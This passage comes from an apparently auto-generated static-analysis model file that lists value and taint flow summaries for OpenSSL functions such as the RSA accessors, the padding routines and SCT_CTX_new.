"dfc-generated"] + - ["", "", True, "RSA_get0_p", "(const RSA *)", "", "Argument[*0].Field[**p]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_p", "(const RSA *)", "", "Argument[*0].Field[*p]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_pss_params", "(const RSA *)", "", "Argument[*0].Field[**pss]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_pss_params", "(const RSA *)", "", "Argument[*0].Field[*pss]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_q", "(const RSA *)", "", "Argument[*0].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_q", "(const RSA *)", "", "Argument[*0].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_ex_data", "(const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_get_method", "(const RSA *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get_method", "(const RSA *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_multi_prime_extra_count", "(const RSA *)", "", "Argument[*0].Field[**prime_infos].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_version", "(RSA *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_dup", "(const RSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "RSA_meth_dup", "(const RSA_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_app_data", "(const RSA_METHOD *)", "", "Argument[*0].Field[**app_data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_app_data", "(const RSA_METHOD *)", "", "Argument[*0].Field[*app_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_name", "(const RSA_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_name", "(const RSA_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_bn_mod_exp", "(const RSA_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_finish", "(const RSA_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_flags", "(const RSA_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_init", "(const RSA_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_keygen", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_mod_exp", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_multi_prime_keygen", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_multi_prime_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_priv_dec", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_priv_dec]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_priv_enc", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_priv_enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_pub_dec", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_pub_dec]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_pub_enc", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_pub_enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_sign", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_sign]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_verify", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set0_app_data", "(RSA_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set0_app_data", "(RSA_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set1_name", "(RSA_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set1_name", "(RSA_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_set_bn_mod_exp", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_finish", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_flags", "(RSA_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_init", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_keygen", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_keygen]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_mod_exp", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_multi_prime_keygen", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_multi_prime_keygen]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_priv_dec", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_priv_dec]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_priv_enc", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_priv_enc]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_pub_dec", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_pub_dec]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_pub_enc", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_pub_enc]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_sign", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_sign]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_verify", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_verify]", "value", "dfc-generated"] + - ["", "", True, "RSA_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*6]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)", "", "Argument[*3].Field[*md_size]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_none", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_none", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[**4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[3]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "RSA_print", "(BIO *,const RSA *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "RSA_print", "(BIO *,const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_print_fp", "(FILE *,const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1].Field[*flags]", "Argument[*0].Field[**dmp1].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**dmp1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2].Field[*flags]", "Argument[*0].Field[**dmq1].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**dmq1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3].Field[*flags]", "Argument[*0].Field[**iqmp].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**iqmp]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*dmp1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*dmq1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*iqmp]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1].Field[*flags]", "Argument[*0].Field[**p].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2].Field[*flags]", "Argument[*0].Field[**q].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**n]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**e]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3].Field[*flags]", "Argument[*0].Field[**d].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*n]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*e]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*d]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_multi_prime_params", "(RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int)", "", "Argument[4]", "Argument[*0].Field[**prime_infos].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set_flags", "(RSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set_method", "(RSA *,const RSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "RSA_set_method", "(RSA *,const RSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_size", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_test_flags", "(const RSA *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_test_flags", "(const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*0]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*2]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SCRYPT_PARAMS_free", "(SCRYPT_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SCRYPT_PARAMS_free", "(SCRYPT_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_issuer_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set1_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set_time", "(SCT_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*epoch_time_in_ms]", "value", "dfc-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get_log_entry_type", "(const SCT *)", "", "Argument[*0].Field[*entry_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_source", "(const SCT *)", "", "Argument[*0].Field[*source]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_timestamp", "(const SCT *)", "", "Argument[*0].Field[*timestamp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, 